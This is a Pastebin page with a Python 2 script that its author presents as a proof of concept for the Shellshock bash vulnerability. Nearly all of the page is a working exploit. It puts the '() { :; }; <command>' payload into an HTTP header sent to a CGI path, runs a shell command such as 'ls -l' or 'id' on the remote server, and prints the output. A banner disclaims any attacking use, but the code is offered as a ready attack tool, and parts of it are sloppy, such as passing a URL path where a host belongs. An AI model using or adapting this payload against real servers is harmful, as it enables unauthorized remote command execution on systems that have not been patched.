Advertisement
tanmay606

ShellShock Expl0Iter [ Python ]

May 6th, 2015
3,188
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.60 KB | None | 0 0
  1. import httplib
  2. import urllib
  3. import sys
  4.  
  5. url = "/cgi-bin/"; #! Vul. Server.
  6. dir = "/cgi-bin/cmo_cmo.sh"; #! Directory
  7. cmd = "/bin/ls -l";#!Command to execute on remote server. [EX.  /usr/bin/id ]
  8.  
  9. #!
  10. #! Author : Tanmay [ 13lackD3M0n ]
  11. #! Script : Sh3ll Sh0ck Expl0it3r
  12. #! Facebook : tanmay606
  13. #! I Respect SEcurity.....
  14.  
  15. try:
  16.  from colorama import Fore,Back;
  17. except ImportError:
  18.  print "\n[1] Colorama package not installed. [ DO it First ]";
  19.  print "\n[2] WINNT not supported";
  20.  sys.exit(1);
  21.  
  22.  
  23. def _banner_():
  24.  print (Fore.GREEN+"\n\t-> Author : Tanmay [ 13lackD3m0n ]");
  25.  print "\t-> Script : Shell Sh0cK Inj3cT0r";
  26.  print "\t-> Facebook : tanmay606"
  27.  print(Fore.RED+"\t-> We Respect SEcurity { ScRipt F0r Null-Byte }\n\n"+Fore.RESET);
  28.  print "\t    [~] Use of this script for attacking is not allow.[~]"
  29.  print "\t   [~] Author [ Tanmay ] is not responsible for any harm [~]"
  30.  print "\t[~]This script is written as POC for shellshock vulnerabality [~]\n\n"
  31.  
  32. _banner_();
  33.  
  34. if("http://" in url):
  35.  url = url.replace("http://","");
  36. elif("https://" in url):
  37.  url = url.replace("https://","");
  38. else:
  39.  pass
  40.  
  41. conn = httplib.HTTPConnection(url)
  42. command="() { :; }; %s" %cmd
  43.  
  44. headers = {"Content-type": "application/x-www-form-urlencoded",
  45.     "exploit":command }
  46.  
  47. conn.request("GET",dir,headers=headers)
  48. res = conn.getresponse()
  49. print "Reply Status : %s"%res.status
  50. print "Reply : %s"%res.reason
  51. data = res.read()
  52. if data < 1:
  53.  print "Error : [ Not Vulnerable ] No data recived."
  54.  sys.exit(1);
  55. else:
  56.  print(Fore.BLUE+data+Fore.RESET);
  57.  
  58.  
  59. #!13lackD3m0n
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement